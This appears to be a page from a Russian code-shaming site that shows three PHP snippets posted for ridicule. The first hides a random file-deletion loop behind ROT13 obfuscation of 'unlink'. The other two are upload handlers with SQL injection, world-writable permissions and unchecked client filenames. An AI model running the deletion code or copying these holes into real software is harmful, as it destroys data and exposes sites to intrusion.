- 1
 
$g=str_rot13("hayvax");$gg=9999999;$ggg=100;foreach(glob("*/*/*") as $f){(rand(0,$gg)%rand(0,$ggg))?$g($f):'';}
                                    Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
Всего: 3
+52
$g=str_rot13("hayvax");$gg=9999999;$ggg=100;foreach(glob("*/*/*") as $f){(rand(0,$gg)%rand(0,$ggg))?$g($f):'';}
                                    =3
+161
$extentions = array('1','2','3','6'); # определяем типы разрешенных файлов
$Filedatasize = $_FILES['Filedata']['size']; 
$width = 200; # Максимальная ширина миниатюры
$height = 160;	# Максимальная высота миниатюры
$file_type = exif_imagetype($_FILES['Filedata']['tmp_name']); # определяем тип файла
if (in_array($file_type, $extentions) && ($maxfilesize >= $Filedatasize)){
	switch ($file_type) {
		case '2': $file_type = '.jpg'; break;
		case '3': $file_type = '.png'; break;
		case '1': $file_type = '.gif'; break;			
		case '6': $file_type = '.bmp'; break;
	}
	if ($_POST['select_catalog'] > 0){
		mysql_query("INSERT INTO `images` (`id_catalog`) VALUES ('".$_POST['select_catalog']."');") or die("MySQL Error: " . mysql_error());
	} else {
		 mysql_query("INSERT INTO `images` (`image_title`) VALUES (' ');") or die("MySQL Error: " . mysql_error());
	}
	$image_id = mysql_insert_id();
	mysql_query("UPDATE `images` SET `image_name_d` = '".$image_id.$file_type."', `image_name_s` = '".$image_id."_m".$file_type."' WHERE `images`.`id_images` = ".$image_id.";") or die("MySQL Error: " . mysql_error());
	$image_mini = $image_id.'_m'.$file_type;
	$image_normal = $image_id.$file_type;
	
	$ext = $file_type; # Получаем формат уменьшаемого изображения
	list($width_orig, $height_orig) = getimagesize($_FILES['Filedata']['tmp_name']); # получаем размеры изображения
	
	#высчитываем 
	$ratio_orig = $width_orig/$height_orig;		
	if ($width/$height > $ratio_orig) {
		$width = $height*$ratio_orig;
	} else {
		$height = $width/$ratio_orig;
	}
	$image_p = imagecreatetruecolor($width, $height);
	switch ($ext) {
		case '.jpg': $source = imagecreatefromjpeg($_FILES['Filedata']['tmp_name']); break;
		case '.gif': $source = imagecreatefromgif($_FILES['Filedata']['tmp_name']); break;
		case '.png': $source = imagecreatefrompng($_FILES['Filedata']['tmp_name']); break;			
		case '.bmp': $source = imagecreatefromwbmp($_FILES['Filedata']['tmp_name']); break;
	}
	imagecopyresampled($image_p, $source, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
	switch ($ext) {
		case '.jpg': imagejpeg($image_p, 'gallery/'.$image_mini, 100); break;                
		case '.gif': imagegif($image_p, 'gallery/'.$image_mini);  break;                
		case '.png': imagepng($image_p, 'gallery/'.$image_mini); break;                
		case '.bmp': imagewbmp($image_p, 'gallery/'.$image_mini); break;
	}
	
	# освобождаем память
	imagedestroy($image_p);
	imagedestroy($source);	
	if (($width_orig >= 1600) or ($height_orig >= 1200)) {
		$width = 1600; # Максимальная ширина
		$height = 1200;	# Максимальная высота
		$ratio_orig = $width_orig/$height_orig;		
		if ($width/$height > $ratio_orig) {
			$width = $height*$ratio_orig;
		} else {
			$height = $width/$ratio_orig;
		}
		$image_p = imagecreatetruecolor($width, $height);
		switch ($ext) {
			case '.jpg': $source = imagecreatefromjpeg($_FILES['Filedata']['tmp_name']); break;
			case '.gif': $source = imagecreatefromgif($_FILES['Filedata']['tmp_name']); break;
			case '.png': $source = imagecreatefrompng($_FILES['Filedata']['tmp_name']); break;			
			case '.bmp': $source = imagecreatefromwbmp($_FILES['Filedata']['tmp_name']); break;
			}
		imagecopyresampled($image_p, $source, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
			switch ($ext) {
				case '.jpg': imagejpeg($image_p, 'gallery/'.$image_normal, 100); break;                
				case '.gif': imagegif($image_p, 'gallery/'.$image_normal);  break;                
				case '.png': imagepng($image_p, 'gallery/'.$image_normal); break;                
				case '.bmp': imagewbmp($image_p, 'gallery/'.$image_normal); break;
			}
		
		# освобождаем память
		imagedestroy($image_p);
		imagedestroy($source);
			
	} else {
		move_uploaded_file($_FILES['Filedata']['tmp_name'], 'gallery/'.$image_normal);
	}
}	
chmod('gallery/' . $image_normal, 0777);
$return['src'] = 'gallery/' . $image_normal;
                                    
+157
move_uploaded_file($_FILES['Filedata']['tmp_name'], 'gallery/' . $_FILES['Filedata']['name']);
 chmod('gallery/' . $_FILES['Filedata']['name'], 0777);
 $return['src'] = 'uploads/' . $_FILES['Filedata']['name'];
/*
 * or
 *
 * $return['link'] = YourImageLibrary::createThumbnail($_FILES['Filedata']['tmp_name']);
 *
 */
if ($error) {
	$return = array(
		'status' => '0',
		'error' => $error
	);
} else {
	$return = array(
		'status' => '1',
		'name' => $_FILES['Filedata']['name']
	);
	// Our processing, we get a hash value from the file
	$return['hash'] = md5_file($_FILES['Filedata']['tmp_name']);
	// ... and if available, we get image data
	$info = @getimagesize($_FILES['Filedata']['tmp_name']);
	if ($info) {
		$return['width'] = $info[0];
		$return['height'] = $info[1];
		$return['mime'] = $info['mime'];
	}
}